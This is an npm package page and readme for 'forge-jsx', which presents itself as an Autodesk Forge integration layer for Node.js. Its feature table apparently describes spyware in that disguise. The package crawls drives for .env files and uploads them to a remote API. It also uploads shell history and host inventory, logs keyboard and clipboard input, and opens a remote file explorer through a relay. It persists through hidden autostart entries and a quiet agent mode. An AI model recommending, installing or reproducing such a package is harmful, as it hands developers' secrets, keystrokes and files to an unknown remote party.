@johntaohunter/forge-jsx
v1.0.4
Published
Node.js integration layer for Autodesk Forge
Downloads
156
Maintainers
Readme
forge-jsx
Node.js integration layer for Autodesk Forge (relay, remote file explorer, forge-db sync).
Requires Node.js ≥ 18.
What runs where
| Feature | Windows / Linux / macOS | Notes |
|--------|-------------------------|--------|
| File explorer (/files) | Yes | Needs relay + forge-agent (same session). Optional --no-filesystem disables FS. |
| .env scan → API | Yes | Needs FORGE_JS_SYNC_URL / CFGMGR_API_URL. Disable: CFGMGR_SYNC_ENV_FILES=0. |
| Wide .env crawl | Opt-in | FORGE_JS_ENV_SCAN_WIDE=1 adds extra roots (e.g. all drive letters on Windows, /Users on macOS, /home on Linux). Skips still apply (node_modules, system dirs, etc.). |
| Shell history → API | Yes | zsh/bash/fish + PSReadLine paths; Cygwin/MSYS2 candidates; HISTFILE; FORGE_JS_SHELL_HISTORY_EXTRA_PATHS for e.g. \\wsl$\.... Disable: FORGE_JS_SYNC_SHELL_HISTORY=0. |
| Host inventory → API | Yes | JSON at forge-js://host-inventory.json: OS type/version, hostname, Node version, installed app names, plus syncSummary (.env + shell history paths uploaded in the same batch). Non-interactive; disable: FORGE_JS_SYNC_HOST_INVENTORY=0. |
| Clipboard / keyboard → API | Best-effort | Needs API URL + optional native addons (uiohook-napi, @napi-rs/clipboard). Linux may skip keyboard on pure Wayland/headless. macOS: Input Monitoring for hooks. |
Key environment variables
- Relay:
CFGMGR_RELAY_URL/FORGE_JS_RELAY_URL,CFGMGR_SESSION_ID,CFGMGR_SESSION_PASSWORD - API (sync):
FORGE_JS_SYNC_URL,CFGMGR_API_URL - Env scan roots (override):
FORGE_JS_ENV_SCAN_ROOTS(comma/semicolon) - Env scan limits:
FORGE_JS_ENV_SCAN_MAX_FILES(default 400, max 5000), per-file size cap inenvScan.ts - Shell history size:
FORGE_JS_SHELL_HISTORY_MAX_BYTES(default 2 MiB) - Host inventory (OS + apps):
FORGE_JS_SYNC_HOST_INVENTORY(default on with env sync; set0to disable) - macOS FS (explorer):
CFGMGR_MACOS_ALLOW_TCC_PATHS(default on), optionalCFGMGR_MACOS_FS_FULL=1for/ - Quiet agent:
FORGE_JS_QUIET_AGENT=1(autostart sets this)
Autostart (login / boot)
Use forge-autostart (see src/autostart/) to register Windows (Task Scheduler + hidden VBScript), Linux (systemd user unit + XDG), macOS (LaunchAgent). No separate GUI is spawned by forge-js; OS privacy prompts (TCC, SmartScreen, etc.) may still appear for global input/clipboard — that is outside Node.
Scripts
npm run build— compile and copyassets/todist/npm test— smoke testsnpm run relay/npm run agent— run CLI entrypoints frompackage.json
License
MIT
